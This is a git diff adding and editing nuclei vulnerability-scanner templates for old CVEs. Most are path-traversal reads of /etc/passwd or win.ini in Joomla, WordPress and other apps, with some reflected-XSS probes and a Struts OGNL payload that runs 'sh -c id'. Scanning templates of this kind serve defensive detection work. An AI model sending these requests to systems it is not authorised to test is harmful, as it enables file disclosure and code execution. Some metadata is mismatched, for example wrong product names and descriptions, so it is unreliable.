+  name: Joomla! Component JA Voice 2.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JA Voice (com_javoice) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12121
+    - https://www.cvedetails.com/cve/CVE-2010-1982
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2045
+
+info:
+  name: Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Dione Form Wizard (aka FDione or com_dioneformwizard) component 1.0.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12595
+    - https://www.cvedetails.com/cve/CVE-2010-2045
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_dioneformwizard&controller=../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2050
+
+info:
+  name: Joomla! Component MS Comment 0.8.0b - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Moron Solutions MS Comment (com_mscomment) component 0.8.0b for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12611
+    - https://www.cvedetails.com/cve/CVE-2010-2050
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2128
+
+info:
+  name: Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JE Quotation Form (com_jequoteform) component 1.0b1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12607
+    - https://www.cvedetails.com/cve/CVE-2010-2128
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2507
+
+info:
+  name: Joomla! Component Picasa2Gallery 1.2.8 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Picasa2Gallery (com_picasa2gallery) component 1.2.8 and earlier for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/13981
+    - https://www.cvedetails.com/cve/CVE-2010-2507
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2680
+
+info:
+  name: Joomla! Component jesectionfinder - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/14064
+    - https://www.cvedetails.com/cve/CVE-2010-2680
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2857
+
+info:
+  name: Joomla! Component Music Manager - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Music Manager component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the cid parameter to album.html.
+  reference: |
+    - https://www.exploit-db.com/exploits/14274
+    - https://www.cvedetails.com/cve/CVE-2010-2857
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/component/music/album.html?cid=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-2918
+
+info:
+  name: Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion
+  author: daffainfo
+  severity: high
+  description: PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites (com_joomla-visites) component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/31708
+    - https://www.cvedetails.com/cve/CVE-2010-2918
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-3203
+
+info:
+  name: Joomla! Component PicSell 1.0 - Local File Disclosure
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the PicSell (com_picsell) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dflink parameter in a prevsell dwnfree action to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/14845
+    - https://www.cvedetails.com/cve/CVE-2010-3203
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-4282
+
+info:
+  name: phpShowtime 2.0 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.
+  reference:
+    - https://www.exploit-db.com/exploits/15643
+    - https://www.cvedetails.com/cve/CVE-2010-4282
+  tags: cve,cve2010,lfi,joomla
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/pandora_console/ajax.php?page=../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-4719
+
+info:
+  name: Joomla! Component JRadio - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in JRadio (com_jradio) component before 1.5.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/15749
+    - https://www.cvedetails.com/cve/CVE-2010-4719
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-4769
+
+info:
+  name: Joomla! Component Jimtawl 1.0.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Jimtawl (com_jimtawl) component 1.0.2 Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the task parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/15585
+    - https://www.cvedetails.com/cve/CVE-2010-4769
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-4977
+
+info:
+  name: Joomla! Component Canteen 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: SQL injection vulnerability in menu.php in the Canteen (com_canteen) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the mealid parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/34250
+    - https://www.cvedetails.com/cve/CVE-2010-4977
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-5028
+
+info:
+  name: Joomla! Component JE Job 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: SQL injection vulnerability in the JExtensions JE Job (com_jejob) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in an item action to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12601
+    - https://www.cvedetails.com/cve/CVE-2010-5028
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jejob&view=../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-5286
+
+info:
+  name: Joomla! Component Jstore - 'Controller' Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in Jstore (com_jstore) component for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/34837
+    - https://www.cvedetails.com/cve/CVE-2010-5286
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jstore&controller=./../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2011-2744
+
+info:
+  name: Chyrp 2.x - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in Chyrp 2.1 and earlier allows remote attackers to include and execute arbitrary local files via a ..%2F (encoded dot dot slash) in the action parameter to the default URI.
+  reference:
+    - https://www.exploit-db.com/exploits/35945
+    - https://www.cvedetails.com/cve/CVE-2011-2744
+  tags: cve,cve2011,lfi,chyrp
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2012-0896
+
+info:
+  name: Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access
+  author: daffainfo
+  severity: high
+  description: Absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter.
+  reference:
+    - https://packetstormsecurity.com/files/108631/
+    - https://www.cvedetails.com/cve/CVE-2012-0896
+  tags: cve,cve2012,lfi,wordpress,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2012-0981
+
+info:
+  name: phpShowtime 2.0 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/18435
+    - https://www.cvedetails.com/cve/CVE-2012-0981
+  tags: cve,cve2012,lfi,phpshowtime
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2012-0996
+
+info:
+  name: 11in1 CMS 1.2.1 - Local File Inclusion (LFI)
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in 11in1 1.2.1 stable 12-31-2011 allow remote attackers to read arbitrary files via a .. (dot dot) in the class parameter to (1) index.php or (2) admin/index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/36784
+    - https://www.cvedetails.com/cve/CVE-2012-0996
+  tags: cve,cve2012,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2012-1226
+
+info:
+  name: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities
+  author: daffainfo
+  severity: high
+  description: Multiple directory traversal vulnerabilities in Dolibarr CMS 3.2.0 Alpha allow remote attackers to read arbitrary files and possibly execute arbitrary code via a .. (dot dot) in the (1) file parameter to document.php or (2) backtopage parameter in a create action to comm/action/fiche.php.
+  reference:
+    - https://www.exploit-db.com/exploits/36873
+    - https://www.cvedetails.com/cve/CVE-2012-1226
+  tags: cve,cve2012,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: CVE-2012-4940
+
+info:
+  name: Axigen Mail Server - 'Filename' Directory Traversal
+  author: dhiyaneshDk
+  severity: high
+  description: Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in (1) the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in (2) an edit action or (3) a delete action to the default URI.
+  reference: https://www.exploit-db.com/exploits/37996
+  tags: cve,cve2012,axigen,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini'
+      - '{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini'
+
+    stop-at-first-match: true
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
@@ -11,25 +11,19 @@ info:
 requests:
  - raw:
      - |
-        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
-        Connection: close
        Accept: */*
-        Accept-Language: en

      - |
-        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
        Host: {{Hostname}}
-        Connection: close
        Accept: */*
-        Accept-Language: en

      - |
-        GET /index.action?§params§%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
+        GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
        Host: {{Hostname}}
-        Connection: close
        Accept: */*
-        Accept-Language: en

    payloads:
      params:
@@ -40,11 +34,12 @@ requests:
    matchers-condition: and
    matchers:
      - type: status
+        condition: or
        status:
          - 200
          - 400
-        condition: or
+
      - type: regex
+        part: body
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
-        part: body
@@ -9,6 +9,11 @@ info:
    - https://www.exploit-db.com/exploits/38936
    - https://nvd.nist.gov/vuln/detail/CVE-2013-7240
  tags: cve,cve2013,wordpress,wp-plugin,lfi
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2013-7240
+    cwe-id: CWE-22

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CVE-2014-10037
+
+info:
+  name: DomPHP 0.83 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in DomPHP 0.83 and earlier allows remote attackers to have unspecified impact via a .. (dot dot) in the url parameter to photoalbum/index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/30865
+    - https://www.cvedetails.com/cve/CVE-2014-10037
+  tags: cve,cve2014,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/photoalbum/index.php?urlancien=&url=../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -1,14 +1,15 @@
-id: arbitrary-file-read-in-dompdf
+id: CVE-2014-2383

 info:
  name: Arbitrary file read in dompdf < v0.6.0
  author: 0x_Akoko
  severity: high
  reference: https://www.exploit-db.com/exploits/33004
-  tags: dompdf,lfi
-
-# - "/dompdf.php?input_file=C:/windows/win.ini"
-# - "/dompdf.php?input_file=/etc/passwd"
+  tags: cve,cve2014,dompdf,lfi
+  metadata:
+    win-payload: "/dompdf.php?input_file=C:/windows/win.ini"
+    unix-payload: "/dompdf.php?input_file=/etc/passwd"
+  description: "dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter."

 requests:
  - method: GET
@@ -18,6 +19,7 @@ requests:
      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"

+    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,32 @@
+id: CVE-2014-2908
+
+info:
+  name: Siemens SIMATIC S7-1200 CPU - Cross-Site Scripting
+  author: daffainfo
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in the integrated web server on Siemens SIMATIC S7-1200 CPU devices 2.x and 3.x allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
+  reference:
+    - https://www.exploit-db.com/exploits/44687
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-2908
+  tags: cve,cve2014,xss,siemens
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Portal/Portal.mwsl?PriNav=Bgz&filtername=Name&filtervalue=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&Send=Filter'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "</script><script>alert(document.domain)</script>"
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,7 @@ info:
  name: Weblogic SSRF in SearchPublicRegistries.jsp
  author: princechaddha
  severity: medium
-  tags: cve,cve2014,weblogic,oracle,ssrf,oob
+  tags: cve,cve2014,weblogic,oracle,ssrf,oast
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
    - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
@@ -0,0 +1,37 @@
+id: CVE-2014-4539
+
+info:
+  name: Movies <= 0.6 - Unauthenticated Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  reference: |
+    - https://wpscan.com/vulnerability/d6ea4fe6-c486-415d-8f6d-57ea2f149304
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4539
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4539
+    cwe-id: CWE-79
+  description: "Cross-site scripting (XSS) vulnerability in the Movies plugin 0.6 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php."
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/movies/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "'><script>alert(document.cookie)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-4544
+
+info:
+  name: Podcast Channels < 0.28 - Unauthenticated Reflected XSS
+  author: daffainfo
+  severity: medium
+  description: The Podcast Channels WordPress plugin was affected by an Unauthenticated Reflected XSS security vulnerability.
+  reference:
+    - https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4544
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4544
+    cwe-id: CWE-79
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/podcast–channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-4550
+
+info:
+  name: Shortcode Ninja <= 1.4 - Unauthenticated Reflected XSS
+  author: daffainfo
+  severity: medium
+  reference: |
+    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4550
+    cwe-id: CWE-79
+  description: "Cross-site scripting (XSS) vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter."
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/shortcode–ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "'><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-4558
+
+info:
+  name: WooCommerce Swipe <= 2.7.1 - Unauthenticated Reflected XSS
+  author: daffainfo
+  severity: medium
+  reference: |
+    - https://wpscan.com/vulnerability/37d7936a-165f-4c37-84a6-7ba5b59a0301
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4558
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4558
+    cwe-id: CWE-79
+  description: "Cross-site scripting (XSS) vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter."
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/swipehq–payment–gateway–woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "'><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: CVE-2014-4561
+
+info:
+  name: Ultimate Weather Plugin <= 1.0 - Unauthenticated Reflected XSS
+  author: daffainfo
+  severity: medium
+  reference: |
+    - https://wpscan.com/vulnerability/5c358ef6-8059-4767-8bcb-418a45b2352d
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4561
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
